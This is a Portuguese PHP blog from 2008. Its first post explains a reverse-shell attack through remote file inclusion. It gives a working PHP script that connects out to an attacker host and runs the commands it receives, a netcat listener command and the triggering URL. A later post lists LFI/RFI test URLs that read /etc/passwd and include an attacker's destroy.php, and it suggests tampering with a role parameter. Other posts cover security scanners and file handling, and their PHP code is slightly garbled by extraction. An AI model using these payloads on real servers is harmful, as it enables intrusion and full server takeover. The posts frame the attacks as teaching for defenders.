quinta-feira, 27 de novembro de 2008

Shell Reverso em PHP

Continuando mais um tópico relacionado a segurança em aplicativos web, irei demonstrar como um possível atacante pode conseguir acesso de shell no servidor mesmo que tenha um firewall bloqueando conexões de entrada. Utilizando apenas um script php de 10 linhas e o poderoso netcat encontrado na maioria das distribuições gnu/linux.

Para que haja sucesso na exploração da falha, a aplicação deve estar vulnerável a "Remote File Include". Essa falha normalmente é encontrada quando se vê alguma URL do tipo: www.algumsite.com/index.php?pag=ajuda.php. Nesse caso é possível imaginar que o programador recebe o parâmetro pag e utiliza um include para exibir o seu conteúdo. Caso a opção allow_url_fopen do php.ini esteja "on", é possível executar um script php hospedado em outro servidor.

Iremos fazer uma conexão socket partindo do servidor que hospeda a aplicação/site vulnerável com destino a máquina do atacante (www.maquinanetcat.com no nosso exemplo) que está esperando a conexão com netcat. O seguinte script nomeado remote.php será utilizado:

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($sock, "www.maquinanetcat.com", "30000");
socket_write($sock, "Ok manda bala\n\n", 15);
while ($out = socket_read($sock, 4096)) {
    exec($out, $cmd);
    $cmdresult = implode("\n", $cmd) . "\nphp$ ";
    socket_write($sock, $cmdresult, strlen($cmdresult));
}
socket_close($sock);

Antes de fazer a aplicação vulnerável executar esse script, você deve executar o netcat para ele abrir uma porta e ficar esperando a conexão ser estabelecida:

netcat -l -p 30000 -v

Agora é só fazer a aplicação se conectar fazendo ela executar o script remote.php da seguinte forma:

Abrir no navegador: www.algumsite.com/index.php?pag=http://sitecomscript.com/remote.php

Assim que o navegador chamar a página, o site vulnerável irá chamar o script http://sitecomscript.com/remote.php ao invés do ajuda.php (por exemplo), e ele será executado no server vulnerável. O server que hospeda o script remote.php não deve interpretar php, se não o shell reverso partirá desse server.

Irá aparecer na máquina do atacante a frase "Ok manda bala" indicando que os comandos já podem ser digitados...aí não precisa falar mais nada!

Obs.: Esse post tem o único propósito de exemplificar como aplicações/sites web podem estar vulneráveis a ataques.

sexta-feira, 21 de novembro de 2008

Desenvolvimento seguro em PHP - Cuidado com a URL

Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com "segundas" intenções ganhem acesso ao servidor.
- Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

  1. http://sitecombrecha.com/index.php?pagina=home.php
  2. http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente

Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

  • http://sitecombrecha.com/index.php?pagina=/etc/fstab
  • http://sitecombrecha.com/index.php?pagina=/etc/passwd
  • http://sitecombrecha.com/index.php?pagina=/var/log/messages

Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

  • http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
  • http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php

O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL's desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method="post" na tag form ou a escrever errado, por default (w3c) o navegador irá entender method="get", e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

sexta-feira, 7 de novembro de 2008

Segurança em WebApp's

Cada vez mais empresas estão disponibilizando seus sistemas corporativos na Internet, porém muitos ainda não estão preparados no quesito segurança, expondo sistemas com vulnerabilidades de segurança na web.

Para colocar um sistema na internet é preciso antes fazer testes de vulnerabilidade de segurança para se assegurar de que o sistema não será uma porta de entrada para pessoas mal-intencionadas.

Mostro aqui alguma ferramentas que auxiliam na verificação de vulnerabilidades de aplicativos web:

  • Grendel-Scan: O Grendel-Scan foi desenvolvido em Java e está preparado para rodar em Windows, Linux e Macintosh. Ele disponibiliza um bom front-end onde é possível fazer várias configurações para adequa-lo ao aplicativo web. Assim como o Burp, Webscarab e Paros ele também funciona como um proxy para interceptação da conexão.
  • Burp Suite: O Burp pela descrição do desenvolvedor, é uma plataforma para ataques a aplicativos web. Ele funciona como um proxy onde cada requisição é interceptada e você pode analisar todo o tráfego do protocolo HTTP e alterá-lo antes de enviar a requisição ao servidor da aplicação; facilita muito os testes em aplicações que usam Ajax abusivamente, pois nada irá passar despercebido!
  • Tamper Data: O Tamper Data trata-se de um addon para o Firefox que ao ser ativado intercepta todo o tráfego entre a aplicação e o servidor, com a possibilidade de alterar os dados antes de serem enviados.

O site http://sectools.org mantém um Top 100 das ferramentas de segurança de rede, e no endereço http://sectools.org/web-scanners.html, é listado o Top 10 das ferramentas de segurança de aplicativos web.

É importante salientar que as ferrametas apenas auxiliam nos testes, isso quer dizer que o usuário dessas ferramentas deve conhecer as vulnerabilidades e ter um olhar clínico para tal serviço.
t+

sábado, 7 de junho de 2008

Trabalhando com arquivos

Vou demonstrar aqui duas formas muito comuns de manipulação de arquivos em PHP e suas diferenças.

A primeira e mais comum, que o PHP herdou da linguagem C, é através do comando fopen. Onde são passados quatro parâmetros (sendo que o terceiro e o quarto parâmetro quase nunca são utilizados, por isso não irei citá-los): o primeiro parâmetro obrigatório é uma string com o caminho e nome do arquivo que será manipulado, e o segundo é o método de abertura do arquivo, que irá variar de acordo com a funcionalidade do programa que está sendo desenvolvido. A função irá retornar um ponteiro (recurso) para o arquivo que será manipulado, e esse ponteiro será utilizado nas outras funções de manipulação de arquivo.

Exemplo de manipulação com fopen():

<?php
// O símbolo "@" é para suprimir os possíveis erros
$fp = @fopen("arquivo.txt""r");
// Testa se o arquivo foi aberto corretamente
if (!$fp) {
    echo 
"Nao foi possivel abrir o arquivo.";
    exit(
1);
}
// o função feof irá retornar TRUE quando o ponteiro $fp estiver no final do arquivo
while (!feof($fp)) {
    
// A função fgets lê 4096 bytes do ponteiro $fp ou até chegar no final da linha.
    
$buffer fgets($fp4096);
    
// Imprime na tela o linha
    
echo $buffer;
}
// Fecha o ponteiro do arquivo e evita que o mesmo seja corrompido
fclose($fp);

?>

A segunda forma e também a mais fácil é através da função file que recebe como argumento três valores, sendo que os dois últimos são utilizados em casos específicos e por isso não os abordarei aqui. O primeiro argumento passado é o arquivo ou recurso que será aberto. O valor retornado pela função é um array onde cada índice do array é correspondente a uma linha do arquivo.

Exemplo de manipulação com file()

<?php
// a função abre o arquivo e retorna em forma de array
$arquivo_linhas file("arquivo.txt");
// loop em todas as linhas do arquivo
foreach ($arquivo_linhas as $linha) {
    
// Imprime a linha
    
echo $linha;
}
?>

Nos dois exemplos o arquivo "arquivo.txt" será aberto, e o seu conteúdo será exibido através do comando echo. A principal diferença entre os dois é que ao abrir o arquivo com o fopen, apenas o valor retornado pela função fgets estará na memória, ou seja, 4096 bytes (4Kb) por iteração do loop; já com a função file a variável $arquivo_linhas terá todo o conteúdo do arquivo, consumindo muito mais memória. Talvez em um arquivo pequeno essa diferença não seja percebida, mas com um arquivo maior a diferença de performance é claramente percebida. É bom lembrar que se o arquivo aberto for muito grande talvez não seja possível ser aberto em virtude da configuração memory_limit do arquivo de configuração do PHP (php.ini).

Cada função tem um propósito diferente, sendo que em alguns casos uma pode ser mais adequada que a outra, a intenção do post foi dar uma explicação genérica utilizando as duas funções e mostrar a principal diferença com relação ao funcionamento de cada uma.

Espero que seja útil!!! t+

sexta-feira, 30 de maio de 2008

Desenvolvendo extensões PHP customizadas

Recentemente eu comecei a estudar o código fonte do PHP simplesmente por curiosidade, e aos poucos fui conhecendo suas estruturas internas e ver como ele funciona por dentro.

Como é difícil encontrar material sobre o assunto eu resolvi colocar alguns links que encontrei na internet sobre o assunto:

  1. PHP at the Core: A Hacker's Guide to the Zend Engine - Faz parte da documentação oficial do PHP, abrange o sistema de desenvolvimento do PHP, estrutura de uma extensão, gerenciamento de memória, como trabalhar com variáveis, classes, etc...
    Obs.: Algumas partes da documentação ainda não estão completa.
  2. PECL - O PECL é um repositório de extensões PHP desenvolvidas com a ZEND API em conjunto com outras bibliotecas. Nesse site também é possível encontrar links para palestras, artigos de como desenvolver extensões em PHP e também conta com um guia padrão de codificação de extensões.
  3. Livro: Extending and Embedding PHP by Sara Golemon - Este livro apesar de ter sido lançado em 2006 já abrange o Zend Engine 2 e o principal foco está no desenvolvimento de extensões e de como embutir o php em outros softwares.

Para quem quiser comprar o livro eu aconselho comprar na Amazon, pois mesmo incluindo o custo de envio, acaba saindo mais barato do que comprar importado no Brasil. Quem me deu essa dica foi o ECL do canal ##PHP-BR da Freenode. (Valew ECL!)